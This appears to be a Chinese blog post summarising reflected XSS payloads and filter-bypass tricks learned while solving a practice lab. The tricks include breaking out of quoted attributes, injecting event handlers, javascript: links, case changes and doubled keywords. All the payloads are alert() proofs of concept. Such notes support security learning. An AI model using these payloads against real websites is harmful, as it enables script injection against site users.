当前位置: 首页 > 工具软件 > payload > 使用案例 >

xss payload构造方法

秦俊友
2023-12-01

对照教程闯了几关总结一下各种绕过方式

url传参注入

    未对参数进行任何过滤的
        payload:
        <script>alert()</script>
        <img src=1 onerror=alert()>
    payload被引号包裹的
        例如:<input name=keyword  value="<script>alert()</script>">
        方式一
            闭合标签和字符串
            先闭合引号,对于标签中不能包含script标签的,在闭合此标签
            payload:
                 "><script>alert()</script>"   (在最后加引号是因为引号总是成对出现的,这个引号是为了闭合原input标签中value属性值的最后一个引号)
        方式二
            向标签中添加属性和方法
            先闭合引号,在向input标签中添加onclick方法和type属性,这样点击文本框时就可以执行代码。
            payload:" onclick=alert() type="text" "
    payload被更改的
            如果网页对script和onclick对做了防范,
            例如我们的payload为:"><script>alert()</script>"
            注入到页面的效果为:<input name=keyword  value="<scr_ipt>">
            若选用向标签中添加onclick方法的方式,onclick会被更改为o_nclick
            我们可以先屏蔽注入点初的标签,改用在页面中插入a标签
            payload:
            "><a href=javascript:alert()>这里是超链</a>
            href值为javascript:是目的是为了防止链接跳转,这里可以利用一下来执行js代码
    payload被更改但不要求大小写的
            和刚刚一样,若我们的onclick注入到页面中被更改为o_nclick,我们可以更改一下大小写
            payload:" Onclick=alert() type="text" "
    清空payload关键字的
            若我们的payload为
            "><script>alert()</script>"
            注入到页面的效果为
            "><>alert()</>"
            可以看到我们的关键字script被清楚,此时可以采用复写的防止绕过
            在script中在插入一个script
            payload:
            "><scrscriptipt>alert()</sscriptcript>"
            浏览器将script中插入的script清楚后,我们之前的script依然存在
            输入到页面的效果为:"><script>alert()</script>"
 类似资料: